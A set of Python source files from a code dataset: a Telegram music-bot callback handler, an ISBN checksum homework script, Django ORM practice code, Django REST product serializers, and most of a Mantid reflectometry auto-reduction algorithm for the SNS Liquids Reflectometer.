query.edit_message_text(f\"{emoji.PLAY_OR_PAUSE_BUTTON} Skipped\\n\\n{pl}\",\n reply_markup=InlineKeyboardMarkup(\n [\n [\n InlineKeyboardButton(\"🔄Replay🔄\", callback_data=\"rp\"),\n InlineKeyboardButton(\"⏸Pause⏸\", callback_data=\"ps\")\n ],[\n InlineKeyboardButton(\"⏭Skip⏭\", callback_data=\"sk\"),\n InlineKeyboardButton('👥 Group👥', url='https://t.me/Filimsmovie')\n \n ],\n ]\n )\n )\n except:\n pass\n elif query.data==\"help\":\n buttons = [\n [\n InlineKeyboardButton('🔰MOVIES Channel🔰', url='https://t.me/hb_new_movies'),\n InlineKeyboardButton('👥 Group👥', url='https://t.me/Filimsmovie')\n ],[\n InlineKeyboardButton('🧑🏼‍💻Dev🧑🏼‍💻', url='https://t.me/alluaddict'),\n InlineKeyboardButton('✍️FeedBack✍️', url='https://t.me/Alluaddict')\n ],[\n InlineKeyboardButton('⚜️Updates Channel⚜️', url='https://t.me/telsabots'),\n ]\n ]\n reply_markup = InlineKeyboardMarkup(buttons)\n await query.edit_message_text(\n HELP,\n reply_markup=reply_markup\n\n )\n","sub_path":"shamil/callback.py","file_name":"callback.py","file_ext":"py","file_size_in_byte":6074,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"422351471","text":"# GOAL\n# determine checksum of given 9-digit ISBN number\n# print it out\n\nisbn_nine_digits = False\n# do_program exists so the program can end if the user wants it to end\ndo_program = True\nwhile do_program == True:\n\t# loop until user enters a nine digit integer\n\twhile isbn_nine_digits == False:\n\t\tisbn = str(input('Enter a nine digit number: '))\n\t\tif len(isbn) != 9:\n\t\t\tcont = input('Invalid number error - want to continue (y/n)? ')\n\t\t\tif cont == 'n':\n\t\t\t\tisbn_nine_digits = True\n\t\t\t\tdo_program = False\n\t\telse:\n\t\t\tisbn_nine_digits = True\n\t\t\t\n\tint_isbn = int(isbn)\n\tcounter = 9\n\tdivisor = 100000000\n\tmultiplier = 10\n\n\t# evaluate the partial checksum (without 10th digit)\n\twhile counter > 0:\n\t\tif counter == 9:\n\t\t\tpartial = (int_isbn // divisor) * multiplier #partial +=\n\t\telse:\n\t\t\tpartial += ((int_isbn % divisor) // (divisor * 0.1)) * multiplier\n\t\t\tdivisor = divisor * 0.1\n\n\t\tcounter = counter - 1\n\t\tmultiplier -= 1\n\n\t# loop through potential checksum vales until the correct one is found\n\tchecksum = 0\n\tchecksum_found = False\n\twhile checksum_found != True:\n\t\tif ((partial + checksum) % 11) != 0:\n\t\t\tchecksum = checksum + 1\n\t\telse:\n\t\t\tchecksum_found = True\n\t\t\tif checksum == 10:\n\t\t\t\tchecksum = 'X'\n\t\t\tprint('ISBN:', isbn.format('0<9>'), end=\"\") # so there isn't a space between last digit\n\t\t\tprint(checksum)\n\t\t\tdo_program = False\n","sub_path":"CSCI/hw3.py","file_name":"hw3.py","file_ext":"py","file_size_in_byte":1332,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"124209669","text":"from Book.models import Book\n\nimport random\n\n# CRUD operations\n\n# create book (enter book entry in database)\n'''\nb = Book.objects.create(name = \"Python\", auther = \"Abc\", qty = 45, price = 550)\n\ndef Create_name():\n name = \"\"\n for i in range(random.randint(4,7)):\n name += chr(random.randint(65,90))\n # print(name)\n return name\n\nfor book in range(1, 10):\n b = Book(name = Create_name(), auther = Create_name(), qty = (random.randint(20, 50)), price = (random.randint(200, 850)))\n Book.save(b)\n'''\n\n# Read all data from database\n'''\n# data = Book.objects.all()\n# print(data)\n\n# print(Book.objects.all())\n# print(Book.objects.all().values())\n# print(Book.objects.all().count())\n\n# print(Book.objects.values('id', 'name', 'auther'))\n\nall_data = Book.objects.all()\n# for book in all_data:\n# print(book)\n\nfor Book in all_data:\n print(Book.__dict__)\n \n# when\n# all_data_1 = Book.objects.all().values()\n# for Book in all_data:\n# print(Book)\n'''\n\n# Read single value from database\n\n# b1 = Book.objects.get(id = 25)\n# print(b1)\n\n\n# update data\n'''\nup_b = Book.objects.get(id = 48)\nup_b.name = \"AAAAA\"\nup_b.auther = \"Auther\"\nup_b.save()\n'''\n\n# delete data\n'''\n# del_b = Book.objects.get(id = 50)\n# del_b.delete()\n\ndel_b1 = Book.objects.get(id = 49)\nBook.delete(del_b1)\n'''\n\n# filter command\n\n# fb = Book.objects.filter(id__gt = 5) # __gt is for greater than, __gte for greater than equal to\n# print(fb)\n\nfb1 = Book.objects.filter(id__lt = 3) # __lt is for less than, __lte for less than equal to\nprint(fb1)\n\nfb2 = list(Book.objects.filter(id__in = [5, 6, 7]))\nprint(fb2)\n\nfb3 = Book.objects.filter(id__in = [2, 3, 4, 5]).update(qty = 15)","sub_path":"Book/db_shell.py","file_name":"db_shell.py","file_ext":"py","file_size_in_byte":1689,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"335938406","text":"from rest_framework.serializers import ModelSerializer\n\nfrom api.product.utils.product import add_product_to_warehouse, add_product_to_warehouse_update, \\\n manufactured_product_add, manufactured_product_add_update\nfrom api.supplier.serializers.supplier import SupplierSerializer\nfrom apps.biscuit.utils.biscuit import check_warehouse_product_quantity\nfrom apps.product.models import ManufacturedProduct\nfrom apps.product.models.add_product import AddProduct, AddManufacturedProduct\nfrom api.product.serializers.product import ProductModelSerializer, ManufacturedProductModelSerializer, \\\n ProductDetailSerializer\nfrom rest_framework.serializers import ValidationError\n\n\nclass ProductAddListModelSerializer(ModelSerializer):\n class Meta:\n model = AddProduct\n fields = [\n 'product',\n 'quantity',\n 'currency',\n 'price',\n 'supplier'\n ]\n\n def validate(self, attrs):\n if not attrs.get('product'):\n raise ValidationError({'error': 'Product not found'})\n if not attrs.get('quantity'):\n raise ValidationError({'error': 'quantity not found'})\n if not attrs.get('currency'):\n raise ValidationError({'error': 'currency not found'})\n if not attrs.get('price'):\n raise ValidationError({'error': 'price not found'})\n if not attrs.get('supplier'):\n raise ValidationError({'error': 'supplier not found'})\n return attrs\n\n def create(self, validated_data):\n product = validated_data.get('product')\n quantity = validated_data.get('quantity')\n currency = validated_data.get('currency')\n price = validated_data.get('price')\n supplier = validated_data.get('supplier')\n instance = AddProduct.objects.create(product=product, quantity=quantity,currency=currency,price=price,supplier=supplier)\n add_product_to_warehouse(validated_data)\n return instance\n\n def update(self, instance, validated_data):\n add_product_to_warehouse_update(instance, validated_data)\n instance.biscuit = validated_data.get('biscuit', instance.biscuit)\n instance.quantity = validated_data.get('quantity', instance.quantity)\n instance.currency = validated_data.get('currency', instance.currency)\n instance.price = validated_data.get('price', instance.price)\n instance.supplier = validated_data.get('supplier', instance.supplier)\n instance.save()\n return instance\n\n\nclass ProductAddDetailModelSerializer(ModelSerializer):\n product = ProductDetailSerializer(read_only=True, many=False)\n supplier = SupplierSerializer(read_only=True, many=False)\n class Meta:\n model = AddProduct\n fields = [\n 'id',\n 'product',\n 'quantity',\n 'currency',\n 'price',\n 'total_price',\n 'supplier',\n 'created_date'\n ]\n\n\nclass ProductUpdateModelSerializer(ModelSerializer):\n class Meta:\n model = AddProduct\n fields = [\n 'product',\n 'quantity',\n 'price'\n ]\n\n\nclass ManufacturedProductAddListModelSerializer(ModelSerializer):\n class Meta:\n model = AddManufacturedProduct\n fields = [\n 'product',\n 'quantity'\n ]\n\n def validate(self, attrs):\n from apps.product.utils.product import get_product_recipe\n if not attrs.get('product'):\n raise ValidationError({'error': 'Product not found'})\n if not attrs.get('quantity'):\n raise ValidationError({'error': 'quantity not found'})\n recipes = get_product_recipe(attrs.get('product'))\n if check_warehouse_product_quantity(recipes, attrs.get('quantity'))!=len(recipes):\n raise ValidationError({'xatolik': 'omborda yetarli mahsulot yoq'})\n if len(recipes)==0:\n raise ValidationError({'xatolik': 'Mahsulot retsepti topilmadi'})\n return attrs\n\n def create(self, validated_data):\n product = validated_data.get('product')\n quantity = validated_data.get('quantity')\n instance = AddManufacturedProduct.objects.create(product=product, quantity=quantity)\n manufactured_product_add(validated_data)\n return instance\n\n def update(self, instance, validated_data):\n manufactured_product_add_update(instance, validated_data)\n instance.product = validated_data.get('product', instance.product)\n instance.quantity = validated_data.get('quantity', instance.quantity)\n instance.save()\n return instance\n\n\nclass ManufacturedProductAddDetailModelSerializer(ModelSerializer):\n product = ManufacturedProductModelSerializer(read_only=True, many=False)\n\n class Meta:\n model = AddManufacturedProduct\n fields = [\n 'id',\n 'product',\n 'quantity',\n 'warehouseman',\n 'created_date'\n ]\n\n\nclass ManufacturedProductUpdateModelSerializer(ModelSerializer):\n class Meta:\n model = AddManufacturedProduct\n fields = [\n 'product',\n 'quantity',\n ]\n\n def update(self, instance, validated_data):\n from apps.product.utils.product import get_product_recipe\n product = validated_data.get('product')\n quantity = validated_data.get('quantity')\n recipes = get_product_recipe(product)\n if check_warehouse_product_quantity(recipes, quantity) == len(recipes):\n instance.product = validated_data.get('product', instance.product)\n instance.quantity = validated_data.get('quantity', instance.quantity)\n instance.save()\n return instance\n else:\n raise ValidationError('omborda yetarli mahsulot yoq')","sub_path":"api/product/serializers/add_product.py","file_name":"add_product.py","file_ext":"py","file_size_in_byte":5815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"92846644","text":"#pylint: disable=no-init, invalid-name, no-self-use, attribute-defined-outside-init\n\"\"\"\n Top-level auto-reduction algorithm for the SNS Liquids Reflectometer\n\"\"\"\nfrom __future__ import (absolute_import, division, print_function)\nimport sys\nimport math\nimport re\nimport platform\nimport time\nimport numpy as np\nimport mantid\nfrom mantid.api import *\nfrom mantid.simpleapi import *\nfrom mantid.kernel import *\nfrom reduction_gui.reduction.reflectometer.refl_data_series import DataSeries\nfrom reduction_gui.reduction.reflectometer.refl_data_script import DataSets\nfrom six import string_types\n\n\nclass LRAutoReduction(PythonAlgorithm):\n\n def category(self):\n \"\"\" Return category \"\"\"\n return \"Reflectometry\\\\SNS\"\n\n def name(self):\n \"\"\" Return name \"\"\"\n return \"LRAutoReduction\"\n\n def version(self):\n \"\"\" Return version number \"\"\"\n return 1\n\n def summary(self):\n \"\"\" Short description \"\"\"\n return \"Find reflectivity peak and return its pixel range.\"\n\n def PyInit(self):\n \"\"\" Property declarations \"\"\"\n self.declareProperty(FileProperty(\"Filename\", \"\", FileAction.Load, ['.nxs']),\n \"Data file to reduce\")\n self.declareProperty(FileProperty(\"TemplateFile\", \"\", FileAction.OptionalLoad, ['.xml']),\n \"Template reduction file\")\n\n # ------------ Properties that should be in the meta data -------------\n self.declareProperty(\"ScaleToUnity\", True,\n \"If true, the reflectivity under the Q cutoff will be scaled to 1\")\n self.declareProperty(IntArrayProperty(\"PrimaryFractionRange\", [117, 197],\n IntArrayLengthValidator(2), direction=Direction.Input),\n \"Pixel range to use for calculating the primary fraction correction.\")\n self.declareProperty(IntArrayProperty(\"DirectBeamList\", [], direction=Direction.Input),\n \"List of direct beam run numbers (integers)\")\n self.declareProperty(FileProperty(\"ScalingFactorFile\", \"\", FileAction.OptionalLoad,\n extensions=['.cfg', '.txt']), \"Scaling factor file\")\n self.declareProperty(\"IncidentMedium\", \"medium\", \"Name of the incident medium\")\n # ---------------------------------------------------------------------\n\n self.declareProperty(\"ScalingFactorTOFStep\", 200.0,\n \"Bin width in TOF for fitting scaling factors\")\n self.declareProperty(\"WavelengthOffset\", 0.0,\n \"Wavelength offset used for TOF range determination\")\n self.declareProperty(\"ScalingWavelengthCutoff\", 10.0,\n \"Wavelength above which the scaling factors are assumed to be one\")\n self.declareProperty(\"FindPeaks\", False,\n \"Find reflectivity peaks instead of using the template values\")\n self.declareProperty(\"ReadSequenceFromFile\", False,\n \"Read the run sequence information from the file, not the title\")\n self.declareProperty(\"ForceSequenceNumber\", 0,\n \"Force the sequence number value if it's not available\")\n\n self.declareProperty(FileProperty('OutputFilename', '', action=FileAction.OptionalSave, extensions=[\"txt\"]),\n doc='Name of the reflectivity file output')\n self.declareProperty(FileProperty(\"OutputDirectory\", \"\", FileAction.Directory))\n\n self.declareProperty(IntArrayProperty(\"SequenceInfo\", [0, 0, 0], direction=Direction.Output),\n \"Run sequence information (run number, sequence ID, sequence number).\")\n self.declareProperty(\"SlitTolerance\", 0.02, doc=\"Tolerance for matching slit positions\")\n\n def _get_series_info(self, filename):\n \"\"\"\n Retrieve the information about the scan series so\n that we know how to put all the pieces together.\n\n At some point this should all be in the data logs.\n We can also pull some of the information from the title.\n \"\"\"\n # Load meta data to decide what to do\n self.event_data = LoadEventNexus(Filename=filename, MetaDataOnly=False)\n meta_data_run = self.event_data.getRun()\n run_number = self.event_data.getRunNumber()\n\n # Deal with a forced sequence number\n force_value = self.getProperty(\"ForceSequenceNumber\").value\n read_sequence_from_file = self.getProperty(\"ReadSequenceFromFile\").value\n if force_value > 0:\n sequence_number = force_value\n first_run_of_set = int(run_number) - int(sequence_number) + 1\n do_reduction = True\n is_direct_beam = False\n\n # Look for meta data information, available with the new DAS\n # If it's not available, parse the title.\n elif read_sequence_from_file is True \\\n and meta_data_run.hasProperty(\"sequence_number\") \\\n and meta_data_run.hasProperty(\"sequence_id\") \\\n and meta_data_run.hasProperty(\"data_type\"):\n sequence_number = meta_data_run.getProperty(\"sequence_number\").value[0]\n first_run_of_set = meta_data_run.getProperty(\"sequence_id\").value[0]\n data_type = meta_data_run.getProperty(\"data_type\").value[0]\n # Normal sample data is type 0\n do_reduction = data_type == 0\n # Direct beams for scaling factors are type 1\n is_direct_beam = data_type == 1\n # Type 2 is zero-attenuator direct beams\n # Type 3 is data that we don't need to treat\n else:\n first_run_of_set, sequence_number, is_direct_beam = self._parse_title(meta_data_run, run_number)\n do_reduction = not is_direct_beam\n\n self.setProperty(\"SequenceInfo\",\n [int(run_number), int(first_run_of_set), int(sequence_number)])\n return run_number, first_run_of_set, sequence_number, do_reduction, is_direct_beam\n\n\n def _parse_title(self, meta_data_run, run_number):\n \"\"\"\n Parse the title to get the first run number of the set and the sequence number\n @param meta_data_run: run object for the workspace\n @param run_number: run number\n \"\"\"\n logger.notice(\"Parsing sequence ID and sequence number from title!\")\n first_run_of_set = int(run_number)\n sequence_number = 1\n is_direct_beam = False\n title = meta_data_run.getProperty(\"run_title\").value\n\n # Determine whether this is a direct beam run\n if \"direct beam\" in title.lower():\n logger.notice(\"Direct beam found in the title\")\n is_direct_beam = True\n\n thi = meta_data_run.getProperty('thi').value[0]\n tthd = meta_data_run.getProperty('tthd').value[0]\n if math.fabs(thi - tthd) < 0.001:\n logger.notice(\"Angle appears to be zero: probably a direct beam run\")\n is_direct_beam = True\n\n # Determine the sequence ID and sequence number\n #pylint: disable=bare-except\n try:\n m = re.search(r\"Run:(\\d+)-(\\d+)\\.\", title)\n if m is not None:\n first_run_of_set = m.group(1)\n sequence_number = int(m.group(2))\n else:\n m = re.search(r\"-(\\d+)\\.\", title)\n if m is not None:\n sequence_number = int(m.group(1))\n first_run_of_set = int(run_number) - int(sequence_number) + 1\n else:\n sequence_number = -1\n first_run_of_set = int(run_number) - int(sequence_number) + 1\n except:\n sequence_number = -1\n first_run_of_set = int(run_number) - int(sequence_number) + 1\n\n if sequence_number == -1:\n logger.notice(\"Title: %s\" % title)\n msg = \"Could not identify sequence number. \"\n msg += \"Make sure the run title ends with -n where 1 < n < 7\"\n raise RuntimeError(msg)\n\n return first_run_of_set, sequence_number, is_direct_beam\n\n\n def _find_peaks(self, event_data):\n \"\"\"\n Find reflectivity peak and low-resolution peak for a workspace\n @param event_data: data workspace\n \"\"\"\n # Find peaks as needed\n nx = int(event_data.getInstrument().getNumberParameter(\"number-of-x-pixels\")[0])\n ny = int(event_data.getInstrument().getNumberParameter(\"number-of-y-pixels\")[0])\n tof_summed = Integration(InputWorkspace=event_data)\n\n # Reflectivity peak\n peak_data = RefRoi(InputWorkspace=tof_summed, IntegrateY=False,\n NXPixel=nx, NYPixel=ny, ConvertToQ=False)\n peak_data = Transpose(InputWorkspace=peak_data)\n peak, _, _ = LRPeakSelection(InputWorkspace=peak_data, ComputePrimaryRange=False)\n\n # Low-resolution range\n peak_data = RefRoi(InputWorkspace=tof_summed, IntegrateY=True,\n NXPixel=nx, NYPixel=ny, ConvertToQ=False)\n peak_data = Transpose(InputWorkspace=peak_data)\n _, low_res, _ = LRPeakSelection(InputWorkspace=peak_data, ComputePrimaryRange=False)\n\n AnalysisDataService.remove(str(tof_summed))\n AnalysisDataService.remove(str(peak_data))\n\n return [int(x) for x in peak], [int(x) for x in low_res]\n\n\n def _read_template(self, sequence_number):\n \"\"\"\n Read template from file.\n @param sequence_number: the ID of the data set within the sequence of runs\n \"\"\"\n template_file = self.getProperty(\"TemplateFile\").value\n fd = open(template_file, \"r\")\n xml_str = fd.read()\n s = DataSeries()\n s.from_xml(xml_str)\n\n if len(s.data_sets) >= sequence_number:\n data_set = s.data_sets[sequence_number - 1]\n elif len(s.data_sets) > 0:\n data_set = s.data_sets[0]\n else:\n raise RuntimeError(\"Invalid reduction template\")\n\n self.data_series_template = s\n\n return data_set\n\n\n def _get_template(self, run_number, first_run_of_set, sequence_number):\n \"\"\"\n Get a template, either from file or creating one.\n @param run_number: run number according to the data file name\n @param first_run_of_set: first run in the sequence (sequence ID)\n @param sequence_number: the ID of the data set within the sequence of runs\n \"\"\"\n # Check whether we need to read a template file\n filename = self.getProperty(\"TemplateFile\").value\n # Keep track of the origin of the template so we know whether to force peak finding\n create_template = False\n\n # If a template was supplied, use it.\n if len(filename.strip()) > 0:\n data_set = self._read_template(sequence_number)\n # ... if not, create a new one using the meta-data information\n else:\n create_template = True\n logger.notice(\"No template supplied: one will be created - peaks will be found automatically\")\n data_set = self._create_template(run_number, first_run_of_set, sequence_number)\n\n # Backward compatibility with early templates:\n # Verify that the primary fraction is available\n if data_set.clocking_from is None and data_set.clocking_to is None:\n primary_range = self.getProperty(\"PrimaryFractionRange\").value\n data_set.clocking_from = int(primary_range[0])\n data_set.clocking_to = int(primary_range[1])\n logger.notice(\"Template did not contain primary fraction range: using supplied default\")\n\n # Get incident medium as a simple string\n _incident_medium_str = str(data_set.incident_medium_list[0])\n _list = _incident_medium_str.split(',')\n incident_medium = _list[data_set.incident_medium_index_selected]\n\n # If we have to find peaks, do it here\n find_peaks = self.getProperty(\"FindPeaks\").value\n if find_peaks or create_template:\n # Find reflectivity peak\n self.reflectivity_peak, self.low_res = self._find_peaks(self.event_data)\n logger.notice(\"Using reflectivity peak %s (template was %s)\" % (self.reflectivity_peak, data_set.DataPeakPixels))\n data_set.DataPeakPixels = self.reflectivity_peak\n data_set.DataBackgroundRoi = [self.reflectivity_peak[0] - 3, self.reflectivity_peak[1] + 3, 0, 0]\n logger.notice(\"Using low-res %s (template was %s)\" % (self.low_res, data_set.data_x_range))\n data_set.data_x_range = self.low_res\n\n return data_set, incident_medium\n\n\n def _read_property(self, meta_data_run, key, default, is_string=False):\n \"\"\"\n Read the value for the given key in the sample run logs\n @param meta_data_run: Run object from the Mantid workspace\n @param key: name of the property to read\n @param default: default value to return if we don't find the key\n \"\"\"\n if meta_data_run.hasProperty(key):\n value = meta_data_run.getProperty(key).value[0]\n else:\n value = default\n logger.error(\"No %s value in the data logs: using %s=%s\" % (key, key, default))\n return value\n if is_string and len(value.strip()) == 0:\n value = default\n logger.error(\"Empty %s value in the data logs: using %s=%s\" % (key, key, default))\n return value\n\n #pylint: disable=too-many-locals\n def _create_template(self, run_number, first_run_of_set, sequence_number):\n \"\"\"\n Create a new template according to the meta-data\n @param run_number: run number according to the data file name\n @param first_run_of_set: first run in the sequence (sequence ID)\n @param sequence_number: the ID of the data set within the sequence of runs\n \"\"\"\n # If so, load it and only overwrite the part we are dealing with here.\n template_file = self._get_output_template_path(first_run_of_set)\n if os.path.isfile(template_file):\n logger.notice(\"Writing template: %s\" % template_file)\n fd = open(template_file, \"r\")\n xml_str = fd.read()\n s = DataSeries()\n s.from_xml(xml_str)\n else:\n s = DataSeries()\n\n # Now we have an initial template\n self.data_series_template = s\n\n # Get the TOF range\n tof_range = self._get_tof_range()\n\n # Get information from meta-data\n meta_data_run = self.event_data.getRun()\n _incident_medium = self.getProperty(\"IncidentMedium\").value\n incident_medium = self._read_property(meta_data_run, \"incident_medium\",\n _incident_medium, is_string=True)\n\n q_min = self._read_property(meta_data_run, \"output_q_min\", 0.001)\n q_step = -abs(self._read_property(meta_data_run, \"output_q_step\", 0.02))\n dQ_constant = self._read_property(meta_data_run, \"dq_constant\", 0.004)\n dQ_slope = self._read_property(meta_data_run, \"dq_slope\", 0.02)\n angle_offset = self._read_property(meta_data_run, \"angle_offset\", 0.016)\n angle_offset_err = self._read_property(meta_data_run, \"angle_offset_error\", 0.001)\n\n _primary_range = self.getProperty(\"PrimaryFractionRange\").value\n _primary_min = int(_primary_range[0])\n _primary_max = int(_primary_range[1])\n # The DAS logs are all stored as floats, but we are expecting an integer\n primary_min = math.trunc(float(self._read_property(meta_data_run, \"primary_range_min\", _primary_min)))\n primary_max = math.trunc(float(self._read_property(meta_data_run, \"primary_range_max\", _primary_max)))\n\n _sf_file = self.getProperty(\"ScalingFactorFile\").value\n sf_file = self._read_property(meta_data_run, \"scaling_factor_file\",\n _sf_file, is_string=True)\n\n def _new_data_set():\n d = DataSets()\n d.NormFlag = True\n d.DataBackgroundFlag = True\n d.data_x_range_flag = True\n d.norm_x_range_flag = True\n d.DataTofRange = tof_range\n d.NormBackgroundFlag = True\n d.slits_width_flag = True\n d.incident_medium_list = [incident_medium]\n d.incident_medium_index_selected = 0\n d.angle_offset = angle_offset\n d.angle_offset_error = angle_offset_err\n d.clocking_from = primary_min\n d.clocking_to = primary_max\n d.q_min = q_min\n d.q_step = q_step\n d.fourth_column_dq0 = dQ_constant\n d.fourth_column_dq_over_q = dQ_slope\n d.scaling_factor_file = sf_file\n return d\n\n # Copy over the existing series, up to the point we are at\n new_data_sets = []\n # First, copy over the entries in the existing template,\n # up to the point previous to the current point\n for i in range(min(int(run_number) - int(first_run_of_set), len(s.data_sets))):\n sequence_id = int(first_run_of_set) + i\n logger.information(\"Copying %s\" % sequence_id)\n d = s.data_sets[i]\n d.data_files = [sequence_id]\n new_data_sets.append(d)\n\n running_id = len(new_data_sets)\n # Pad the items between what we have and the current point\n for i in range(running_id, int(run_number) - int(first_run_of_set) + 1):\n sequence_id = int(first_run_of_set) + i\n logger.information(\"Adding %s\" % sequence_id)\n d = _new_data_set()\n d.data_files = [sequence_id]\n new_data_sets.append(d)\n\n self.data_series_template.data_sets = new_data_sets\n\n data_set = self.data_series_template.data_sets[sequence_number - 1]\n\n # Find direct beam peaks\n self._get_direct_beam(meta_data_run, data_set)\n\n return data_set\n\n\n def _get_tof_range(self):\n \"\"\"\n Determine TOF range from the data\n \"\"\"\n sample = self.event_data.getInstrument().getSample()\n source = self.event_data.getInstrument().getSource()\n source_sample_distance = sample.getDistance(source)\n detector = self.event_data.getDetector(0)\n sample_detector_distance = detector.getPos().getZ()\n source_detector_distance = source_sample_distance + sample_detector_distance\n h = 6.626e-34 # m^2 kg s^-1\n m = 1.675e-27 # kg\n wl = self.event_data.getRun().getProperty('LambdaRequest').value[0]\n chopper_speed = self.event_data.getRun().getProperty('SpeedRequest1').value[0]\n wl_offset = self.getProperty(\"WavelengthOffset\").value\n cst = source_detector_distance / h * m\n tof_min = cst * (wl + wl_offset * 60.0 / chopper_speed - 1.7 * 60.0 / chopper_speed) * 1e-4\n tof_max = cst * (wl + wl_offset * 60.0 / chopper_speed + 1.7 * 60.0 / chopper_speed) * 1e-4\n return [tof_min, tof_max]\n\n\n def _get_direct_beam(self, meta_data_run, data_set):\n \"\"\"\n Get the direct beam run information for the loaded data\n @param meta_data_run: Run object from the Mantid workspace\n @param data_set: DataSets object\n \"\"\"\n # Wavelength of the data we are reducing\n data_wl = self.event_data.getRun().getProperty('LambdaRequest').value[0]\n data_thi = self.event_data.getRun().getProperty('thi').value[0]\n\n _direct_beam_runs = list(self.getProperty(\"DirectBeamList\").value)\n direct_beam_runs_str = self._read_property(meta_data_run, \"direct_beam_runs\",\n _direct_beam_runs, is_string=True)\n # The direct runs in the DAS logs are stored as a string\n if isinstance(direct_beam_runs_str, string_types):\n try:\n direct_beam_runs = [int(r.strip()) for r in direct_beam_runs_str.split(',')]\n except ValueError:\n direct_beam_runs = []\n else:\n direct_beam_runs = direct_beam_runs_str\n\n # For each run, load and compare the wavelength\n direct_beam_found = None\n for r in direct_beam_runs:\n direct_beam_data = LoadEventNexus(Filename=\"REF_L_%s\" % r)\n # Only consider zero-attenuator runs\n att = direct_beam_data.getRun().getProperty('vAtt').value[0]-1\n if not att == 0:\n continue\n wl = direct_beam_data.getRun().getProperty('LambdaRequest').value[0]\n thi = direct_beam_data.getRun().getProperty('thi').value[0]\n if np.abs(data_wl - wl) < 0.01 and np.abs(data_thi - thi) < 0.015:\n direct_beam_found = r\n break\n\n # Raise an exception if we haven't found our direct beam run\n if direct_beam_found is None:\n msg = \"Could not find a valid direct beam run for \"\n msg += \"wl=%s in %s\" % (data_wl, str(direct_beam_runs))\n raise RuntimeError(msg)\n\n # Find the direct beam peak\n peak, low_res = self._find_peaks(direct_beam_data)\n data_set.norm_file = direct_beam_found\n data_set.NormPeakPixels = peak\n data_set.NormBackgroundRoi = [peak[0] - 3, peak[1] + 3]\n data_set.NormBackgroundFlag = True\n data_set.norm_x_range = low_res\n\n\n def _get_output_template_path(self, first_run_of_set):\n output_dir = self.getProperty(\"OutputDirectory\").value\n return os.path.join(output_dir, \"REF_L_%s_auto_template.xml\" % first_run_of_set)\n\n\n def _write_template(self, data_set, run_number, first_run_of_set, sequence_number):\n \"\"\"\n Write out a template using the reduction parameters that we have used.\n @param data_set: DataSets object\n @param run_number: run number according to the data file name\n @param first_run_of_set: first run in the sequence (sequence ID)\n @param sequence_number: the ID of the data set within the sequence of runs\n \"\"\"\n # Write out a template for this run\n xml_str = \"\\n\"\n xml_str += \" REFL\\n\"\n xml_str += \" %s\\n\" % time.ctime()\n xml_str += \" %s\\n\" % sys.version\n xml_str += \" %s\\n\" % platform.system()\n xml_str += \" %s\\n\" % str(platform.architecture())\n xml_str += \" %s\\n\" % mantid.__version__\n\n # Copy over the existing series, up to the point we are at\n new_data_sets = []\n for i in range(int(run_number) - int(first_run_of_set) + 1):\n if i > len(self.data_series_template.data_sets):\n break\n d = self.data_series_template.data_sets[i]\n d.data_files = [int(first_run_of_set) + i]\n new_data_sets.append(d)\n # Make copy over the parameters we actually used\n new_data_sets[sequence_number - 1] = data_set\n\n self.data_series_template.data_sets = new_data_sets\n\n xml_str += self.data_series_template.to_xml()\n xml_str += \"\\n\"\n template_file = open(self._get_output_template_path(first_run_of_set), 'w')\n template_file.write(xml_str)\n template_file.close()\n\n\n def _save_partial_output(self, data_set, first_run_of_set, sequence_number, run_number):\n \"\"\"\n Stitch and save the full reflectivity curve, or as much as we have at the moment.\n @param data_set: DataSets object\n @param run_number: run number according to the data file name\n @param first_run_of_set: first run in the sequence (sequence ID)\n @param sequence_number: the ID of the data set within the sequence of runs\n \"\"\"\n output_dir = self.getProperty(\"OutputDirectory\").value\n output_file = self.getProperty(\"OutputFilename\").value\n if len(output_file.strip()) == 0:\n output_file = \"REFL_%s_%s_%s_auto.nxs\" % (first_run_of_set, sequence_number, run_number)\n # Save partial output\n n_ts = 0\n output_ws = None\n prefix = 'reflectivity_%s_%s_%s' % (first_run_of_set, sequence_number, run_number)\n for ws in AnalysisDataService.getObjectNames():\n if ws.endswith(\"ts\") and ws.startswith(prefix):\n output_ws = ws\n n_ts += 1\n if n_ts > 1:\n logger.error(\"More than one reduced output for %s\" % prefix)\n\n file_path = os.path.join(output_dir, output_file)\n SaveNexus(Filename=file_path, InputWorkspace=output_ws)\n\n # Put the reflectivity curve together\n for f in os.listdir(output_dir):\n if f.startswith(\"REFL_%s\" % first_run_of_set) and f.endswith(\"auto.nxs\"):\n ws_name = f.replace(\"_auto.nxs\", \"\")\n ws_name = ws_name.replace(\"REFL_\", \"\")\n LoadNexus(Filename=os.path.join(output_dir, f), OutputWorkspace=\"reflectivity_%s_auto_ts\" % ws_name)\n\n ws_list = AnalysisDataService.getObjectNames()\n input_ws_list = []\n for ws in ws_list:\n if ws.endswith(\"auto_ts\"):\n input_ws_list.append(ws)\n\n if len(input_ws_list) == 0:\n logger.notice(\"No data sets to stitch.\")\n return\n input_ws_list = sorted(input_ws_list)\n\n default_file_name = 'REFL_%s_combined_data_auto.txt' % first_run_of_set\n file_path = os.path.join(output_dir, default_file_name)\n scale_to_unity = self.getProperty(\"ScaleToUnity\").value\n wl_cutoff = self.getProperty(\"ScalingWavelengthCutoff\").value\n\n # The following were the values used in the auto-reduction before 2016\n # output_binning = [0.005, -0.01, 2.0]\n output_binning = [data_set.q_min, -abs(data_set.q_step), 2.0]\n dQ_constant = data_set.fourth_column_dq0\n dQ_slope = data_set.fourth_column_dq_over_q\n\n LRReflectivityOutput(ReducedWorkspaces=input_ws_list, ScaleToUnity=scale_to_unity,\n ScalingWavelengthCutoff=wl_cutoff, OutputBinning=output_binning,\n DQConstant=dQ_constant, DQSlope=dQ_slope, OutputFilename=file_path)\n for ws in input_ws_list:\n AnalysisDataService.remove(str(ws))\n\n return file_path\n\n def _get_sequence_total(self, default=10):\n \"\"\"\n Return the total number of runs in the current sequence.\n If reading sequence information from file was turned off,\n or if the information was not found, return the given default.\n\n For direct beams, a default of 10 is not efficient but is a\n good value to avoid processing runs we know will be processed later.\n That is because most direct beam run sets are either 13 (for 30 Hz)\n or 21 (for 60 Hz).\n\n @param default: default value for when the info is not available\n \"\"\"\n meta_data_run = self.event_data.getRun()\n # Get the total number of direct beams in a set.\n # A default of 10 is not efficient but is a good default to\n # avoid processing 